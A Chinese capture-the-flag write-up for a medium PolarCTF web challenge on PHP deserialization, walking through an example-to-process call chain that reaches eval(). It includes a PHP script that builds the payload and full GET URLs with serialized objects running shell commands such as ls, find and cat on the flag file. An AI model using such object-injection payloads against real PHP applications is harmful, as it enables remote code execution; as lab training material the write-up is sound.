Polar Web【中等】反序列化

Polar Web【中等】反序列化

Contents

思路&探索

一个经典的反序列化问题,本文采用PHP代码辅助生成序列字符串的方式生成 Payload 来进行手动渗透。

  1. 打开站点,分析PHP代码:
    • 可以发现,需要实现触发命令执行的位置在 process 类中的 close 函数的 eval() 处
    • 能够触发 close() 调用的方式 ------ 创建 example 实例,触发运行结束时 __destruct() 执行
    • 其中,使得成员变量 handle 为所需要的 process 实例,便可形成完整的调用链
  2. 按照上述思路,在本地拷贝两个类,并实现调用链,并调用 echo 输出序列字符串在页面上,具体见下文图中
  3. 按照站点提示,将序列字符串以 data 参数进行 GET 传参:
    • 初次使用 ls 命令,发现已处在根目录下,并未发现flag,故考虑使用命令 find / | grep flag,找出 flag 具体位置
    • 最后下达 cat /var/www/flag.php 命令,虽没有直接回显,查看源码可获取 flag

EXP

PHP生成Payload

php 复制代码
<?php
    class process{
        public $pid;
        function close(){
            eval($this->pid);
        }
    }
	
	$a = new example();
	$a->handle = new process();
	// 	$a->handle->pid = "system('ls');";
	// 	$a->handle->pid = "system('find / | grep flag');";
	$a->handle->pid = "system('cat /var/www/html/flag.php');";
	
	echo serialize($a);
?>



GET传递参数

python 复制代码
http://~.www.polarctf.com:8090/?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:13:"system('ls');";}}
python 复制代码
http://~.www.polarctf.com:8090/?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:29:"system('find / | grep flag');";}}
python 复制代码
http://~.www.polarctf.com:8090/?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:37:"system('cat /var/www/html/flag.php');";}}

运行&总结

  • 借用本经典的反序列化题目,记录如何用PHP代码辅助生成所需的序列字符串
  • 找出合适的调用链,是为代码审计之要点

敬,不完美的明天

相关推荐
程序员-Benothing16 小时前
Linux安全加固指南:账号、权限、服务、审计基线
linux·运维·安全
ITxiaobing202321 小时前
海外广告投放的 IP 定位服务怎么选?一份基于实测数据的选型参考
网络协议·tcp/ip·php
weixin_4173968321 小时前
桌面云终端PXE启动失败怎么排查?从DHCP Option到镜像下发
开发语言·前端·php·技术·酒店·综合布线·弱电
数据库安全21 小时前
AI数据访问安全 |如何控制AI访问权限,防止越权
数据库·安全
2501_937767161 天前
面向设计 / 研发部门:终端文件统一归档 + 服务器定时备份实践
运维·安全
ServBay1 天前
PHP 突爆 9.2 分高危漏洞,你升级了吗?
后端·php
珠海西格电力1 天前
物联网(IoT)在零碳园区中的关键作用:万物互联与数据采集
大数据·人工智能·物联网·安全·系统架构·能源
综合简报1 天前
黑五海外发稿投给谁?三类海外媒体发稿渠道的分工
开发语言·php·媒体
安教安全员通关宝1 天前
【证书管理】安全员 C 证延续:条件、时间窗口与各省口径对照
安全
子兮曰1 天前
PHP漏洞危机,你的网站升级了吗?
前端·后端·php